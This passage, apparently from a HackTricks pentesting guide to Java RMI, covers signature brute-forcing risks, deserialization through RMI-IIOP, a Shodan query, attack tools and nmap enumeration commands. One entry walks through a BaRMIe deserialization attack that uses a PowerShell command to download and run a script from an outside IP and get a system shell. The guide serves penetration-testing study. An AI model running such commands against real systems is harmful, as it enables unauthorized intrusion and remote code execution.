**Overall, there is a risk of accidental invocation in brute-forcing these signatures**. As such, RMIScout displays a warning prior to running IIOP brute-forcing. However, it is also significantly easier to enumerate signatures for IIOP. Using **custom wordlists with method names least likely to cause harm is recommended** \(e.g., a method name like `deleteRecord` may match against `deleteRecord(int)` whereas `evaluateString` is less likely to match a primitive\).
|
||||
|
||||
We can still achieve arbitrary Java deserialization by replacing object or array types in a method signature. **Unlike RMI-JRMP, `String` types can still be exploited in RMI-IIOP servers compiled with the latest build of the JDK8.**
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:1099 java`
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://github.com/BishopFox/rmiscout)
|
||||
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
||||
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
```text
|
||||
Protocol_Name: Java-RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1098 #Comma separated if there is more than one.
|
||||
Protocol_Description: Java Remote Method Inclusion #Protocol Abbreviation Spelled out
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Java-RMI
|
||||
Note: |
|
||||
The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a remote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
|
||||
|
||||
nmap -sC -sV -Pn 10.11.1.73 -p 1100
|
||||
may dump the reg of the java-rmi instance. If this is the case the machine may be vulnerable to a deserializaion exploit.
|
||||
BaRMIe.jar is the way to go to directly exploit this vulnerability.
|
||||
https://github.com/NickstaDB/BaRMIe/releases/tag/v1.01 is where the latest build is hosted, pre-built
|
||||
|
||||
useage
|
||||
java -jar BaRMIe_v1.01.jar -attack 10.11.1.73 1100
|
||||
target select) 1
|
||||
available attacks) 1 (illegal bind deserialization)
|
||||
payloads) 1 (Apache Common Collections 3.1 worked for me, others may also work)
|
||||
OS Command) powershell.exe -command "IEX(new-object net.webclient).downloadstring('http://192.168.119.167:80/3232.ps1')"
|
||||
|
||||
enjoy your system shell!
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1099-pentesting-java-rmi
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap RMI
|
||||
Description: Nmap with RMI Scripts
|
||||
Command: nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p 1098 {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap register
|
||||
Description: Dump register of java-rmi instance
|
||||
Command: nmap -sC -sV -Pn {IP} -p 1100
|
||||
Name: Enumeration
|
||||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
|
||||
|
|
Loading…
Reference in a new issue